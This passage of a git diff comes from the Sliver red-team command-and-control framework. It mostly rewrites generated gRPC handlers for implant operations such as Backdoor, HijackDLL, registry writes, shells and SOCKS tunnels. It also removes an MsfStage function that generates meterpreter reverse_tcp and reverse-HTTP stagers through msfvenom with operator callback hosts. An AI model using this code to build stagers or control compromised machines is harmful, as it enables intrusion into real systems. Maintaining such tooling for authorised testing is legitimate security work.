return srv.(SliverRPCServer).UnsetEnv(ctx, req.(*sliverpb.UnsetEnvReq))
@@ -5624,7 +5407,7 @@ func _SliverRPC_Backdoor_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Backdoor_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Backdoor",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Backdoor(ctx, req.(*clientpb.BackdoorReq))
@@ -5642,7 +5425,7 @@ func _SliverRPC_RegistryRead_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryRead_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryRead",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryRead(ctx, req.(*sliverpb.RegistryReadReq))
@@ -5660,7 +5443,7 @@ func _SliverRPC_RegistryWrite_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryWrite_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryWrite",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryWrite(ctx, req.(*sliverpb.RegistryWriteReq))
@@ -5678,7 +5461,7 @@ func _SliverRPC_RegistryCreateKey_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryCreateKey_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryCreateKey",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryCreateKey(ctx, req.(*sliverpb.RegistryCreateKeyReq))
@@ -5696,7 +5479,7 @@ func _SliverRPC_RegistryDeleteKey_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryDeleteKey_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryDeleteKey",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryDeleteKey(ctx, req.(*sliverpb.RegistryDeleteKeyReq))
@@ -5714,7 +5497,7 @@ func _SliverRPC_RegistryListSubKeys_Handler(srv interface{}, ctx context.Context
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryListSubKeys_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryListSubKeys",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListSubKeys(ctx, req.(*sliverpb.RegistrySubKeyListReq))
@@ -5732,7 +5515,7 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryListValues_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryListValues",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryListValues(ctx, req.(*sliverpb.RegistryListValuesReq))
@@ -5750,7 +5533,7 @@ func _SliverRPC_RegistryReadHive_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegistryReadHive_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegistryReadHive",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegistryReadHive(ctx, req.(*sliverpb.RegistryReadHiveReq))
@@ -5768,7 +5551,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RunSSHCommand_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RunSSHCommand",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RunSSHCommand(ctx, req.(*sliverpb.SSHCommandReq))
@@ -5786,7 +5569,7 @@ func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_HijackDLL_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/HijackDLL",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).HijackDLL(ctx, req.(*clientpb.DllHijackReq))
@@ -5804,7 +5587,7 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetPrivs_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetPrivs",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetPrivs(ctx, req.(*sliverpb.GetPrivsReq))
@@ -5822,7 +5605,7 @@ func _SliverRPC_StartRportFwdListener_Handler(srv interface{}, ctx context.Conte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StartRportFwdListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StartRportFwdListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartRportFwdListener(ctx, req.(*sliverpb.RportFwdStartListenerReq))
@@ -5840,7 +5623,7 @@ func _SliverRPC_GetRportFwdListeners_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_GetRportFwdListeners_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/GetRportFwdListeners",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetRportFwdListeners(ctx, req.(*sliverpb.RportFwdListenersReq))
@@ -5858,7 +5641,7 @@ func _SliverRPC_StopRportFwdListener_Handler(srv interface{}, ctx context.Contex
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_StopRportFwdListener_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/StopRportFwdListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StopRportFwdListener(ctx, req.(*sliverpb.RportFwdStopListenerReq))
@@ -5876,7 +5659,7 @@ func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_OpenSession_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/OpenSession",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).OpenSession(ctx, req.(*sliverpb.OpenSession))
@@ -5894,7 +5677,7 @@ func _SliverRPC_CloseSession_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CloseSession_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CloseSession",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CloseSession(ctx, req.(*sliverpb.CloseSession))
@@ -5912,7 +5695,7 @@ func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegisterExtension_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
@@ -5930,7 +5713,7 @@ func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CallExtension_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CallExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
@@ -5948,7 +5731,7 @@ func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ListExtensions_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ListExtensions",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
@@ -5966,7 +5749,7 @@ func _SliverRPC_RegisterWasmExtension_Handler(srv interface{}, ctx context.Conte
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_RegisterWasmExtension_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/RegisterWasmExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).RegisterWasmExtension(ctx, req.(*sliverpb.RegisterWasmExtensionReq))
@@ -5984,7 +5767,7 @@ func _SliverRPC_ListWasmExtensions_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ListWasmExtensions_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ListWasmExtensions",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ListWasmExtensions(ctx, req.(*sliverpb.ListWasmExtensionsReq))
@@ -6002,7 +5785,7 @@ func _SliverRPC_ExecWasmExtension_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_ExecWasmExtension_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/ExecWasmExtension",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecWasmExtension(ctx, req.(*sliverpb.ExecWasmExtensionReq))
@@ -6020,7 +5803,7 @@ func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGStartPortForward_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGStartPortForward",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGStartPortForward(ctx, req.(*sliverpb.WGPortForwardStartReq))
@@ -6038,7 +5821,7 @@ func _SliverRPC_WGStopPortForward_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGStopPortForward_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGStopPortForward",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGStopPortForward(ctx, req.(*sliverpb.WGPortForwardStopReq))
@@ -6056,7 +5839,7 @@ func _SliverRPC_WGStartSocks_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGStartSocks_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGStartSocks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGStartSocks(ctx, req.(*sliverpb.WGSocksStartReq))
@@ -6074,7 +5857,7 @@ func _SliverRPC_WGStopSocks_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGStopSocks_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGStopSocks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGStopSocks(ctx, req.(*sliverpb.WGSocksStopReq))
@@ -6092,7 +5875,7 @@ func _SliverRPC_WGListForwarders_Handler(srv interface{}, ctx context.Context, d
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGListForwarders_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGListForwarders",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGListForwarders(ctx, req.(*sliverpb.WGTCPForwardersReq))
@@ -6110,7 +5893,7 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context,
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_WGListSocksServers_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/WGListSocksServers",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).WGListSocksServers(ctx, req.(*sliverpb.WGSocksServersReq))
@@ -6128,7 +5911,7 @@ func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(int
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Shell_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Shell",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Shell(ctx, req.(*sliverpb.ShellReq))
@@ -6146,7 +5929,7 @@ func _SliverRPC_Portfwd_Handler(srv interface{}, ctx context.Context, dec func(i
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_Portfwd_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/Portfwd",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Portfwd(ctx, req.(*sliverpb.PortfwdReq))
@@ -6164,7 +5947,7 @@ func _SliverRPC_CreateSocks_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CreateSocks_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CreateSocks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CreateSocks(ctx, req.(*sliverpb.Socks))
@@ -6182,7 +5965,7 @@ func _SliverRPC_CloseSocks_Handler(srv interface{}, ctx context.Context, dec fun
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CloseSocks_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CloseSocks",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CloseSocks(ctx, req.(*sliverpb.Socks))
@@ -6226,7 +6009,7 @@ func _SliverRPC_CreateTunnel_Handler(srv interface{}, ctx context.Context, dec f
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CreateTunnel_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CreateTunnel",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CreateTunnel(ctx, req.(*sliverpb.Tunnel))
@@ -6244,7 +6027,7 @@ func _SliverRPC_CloseTunnel_Handler(srv interface{}, ctx context.Context, dec fu
}
info := &grpc.UnaryServerInfo{
Server: srv,
- FullMethod: SliverRPC_CloseTunnel_FullMethodName,
+ FullMethod: "/rpcpb.SliverRPC/CloseTunnel",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CloseTunnel(ctx, req.(*sliverpb.Tunnel))
@@ -6610,10 +6393,6 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "SaveImplantProfile",
Handler: _SliverRPC_SaveImplantProfile_Handler,
},
- {
- MethodName: "MsfStage",
- Handler: _SliverRPC_MsfStage_Handler,
- },
{
MethodName: "ShellcodeRDI",
Handler: _SliverRPC_ShellcodeRDI_Handler,
diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go
index cbc6d8c671..ea25883270 100644
--- a/protobuf/sliverpb/sliver.pb.go
+++ b/protobuf/sliverpb/sliver.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.34.1
-// protoc v5.26.1
+// protoc-gen-go v1.28.1
+// protoc v4.25.3
// source: sliverpb/sliver.proto
package sliverpb
diff --git a/server/msf/msf.go b/server/msf/msf.go
index bab54acee1..0882cbcc16 100644
--- a/server/msf/msf.go
+++ b/server/msf/msf.go
@@ -21,7 +21,6 @@ package msf
import (
"bytes"
"fmt"
- "net/url"
"os/exec"
"strconv"
"strings"
@@ -116,7 +115,6 @@ type VenomConfig struct {
BadChars []string
Format string
Luri string
- AdvOptions string
}
// Version - Return the version of MSFVenom
@@ -164,20 +162,6 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
luri = fmt.Sprintf("LURI=%s", luri)
}
- // Parse advanced options
- advancedOptions := make(map[string]string)
- if config.AdvOptions != "" {
- options, err := url.ParseQuery(config.AdvOptions)
- if err != nil {
- return nil, fmt.Errorf("could not parse provided advanced options: %s", err.Error())
- }
- for option, value := range options {
- // Options should only be specified once,
- // so if a given option is specified more than once, use the last value
- advancedOptions[option] = value[len(value)-1]
- }
- }
-
args := []string{
"--platform", config.Os,
"--arch", config.Arch,
@@ -188,10 +172,6 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
"EXITFUNC=thread",
}
- for optionName, optionValue := range advancedOptions {
- args = append(args, fmt.Sprintf("%s=%s", optionName, optionValue))
- }
-
if luri != "" {
args = append(args, luri)
}
diff --git a/server/rpc/rpc-msf.go b/server/rpc/rpc-msf.go
index 5e55af1691..92e42e4d7e 100644
--- a/server/rpc/rpc-msf.go
+++ b/server/rpc/rpc-msf.go
@@ -20,16 +20,10 @@ package rpc
import (
"context"
- "errors"
- "fmt"
- "math/rand"
- "path"
- "time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
@@ -143,102 +137,3 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
}
return resp, nil
}
-
-// MsfStage - Generate a MSF compatible stage
-func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) {
- var (
- MSFStage = &clientpb.MsfStager{
- File: &commonpb.File{},
- }
- payload string
- arch string
- uri string
- )
-
- switch req.GetArch() {
- case "amd64":
- arch = "x64"
- default:
- arch = "x86"
- }
-
- switch req.Protocol {
- case clientpb.StageProtocol_TCP:
- payload = "meterpreter/reverse_tcp"
- case clientpb.StageProtocol_HTTP:
- payload = "custom/reverse_winhttp"
- uri = generateCallbackURI(req.HTTPC2ConfigName)
- case clientpb.StageProtocol_HTTPS:
- payload = "custom/reverse_winhttps"
- uri = generateCallbackURI(req.HTTPC2ConfigName)
- default:
- return MSFStage, errors.New("protocol not supported")
- }
-
- // We only support windows at the moment
- if req.GetOS() != "windows" {
- return MSFStage, fmt.Errorf("%s is currently not supported", req.GetOS())
- }
-
- venomConfig := msf.VenomConfig{
- Os: req.GetOS(),
- Payload: payload,
- LHost: req.GetHost(),
- LPort: uint16(req.GetPort()),
- Arch: arch,
- Format: req.GetFormat(),
- BadChars: req.GetBadChars(), // TODO: make this configurable
- Luri: uri,
- AdvOptions: req.AdvOptions,
- }
-
- stage, err := msf.VenomPayload(venomConfig)
- if err != nil {
- rpcLog.Warnf("Error while generating msf payload: %v\n", err)
- return MSFStage, err
- }
- MSFStage.File.Data = stage
- name, err := codenames.GetCodename()
- if err != nil {
- return MSFStage, err
- }
- MSFStage.File.Name = name
- return MSFStage, nil
-}
-
-// Utility functions
-func generateCallbackURI(httpC2ConfigName string) string {
- httpC2Config, err := db.LoadHTTPC2ConfigByName(httpC2ConfigName)
- if err != nil {
- return ""
- }
- segments := httpC2Config.ImplantConfig.PathSegments
- StageFiles := []string{}
- StagePaths := []string{}
-
- for _, segment := range segments {
- if segment.SegmentType == 3 {
- if segment.IsFile {
- StageFiles = append(StageFiles, segment.Value)
- } else {
- StagePaths = append(StagePaths, segment.Value)
- }
- }
- }
-
- return path.Join(randomPath(StagePaths, StageFiles)...)
-}
-
-func randomPath(segments []string, filenames []string) []string {
- seed := rand.NewSource(time.Now().UnixNano())
- insecureRand := rand.New(seed)
- n := insecureRand.Intn(3) // How many segments?
- genSegments := []string{}
- for index := 0; index < n; index++ {
- seg := segments[insecureRand.Intn(len(segments))]
- genSegments = append(genSegments, seg)
- }
- filename := filenames[insecureRand.Intn(len(filenames))]
- genSegments = append(genSegments, filename)
- return genSegments
-}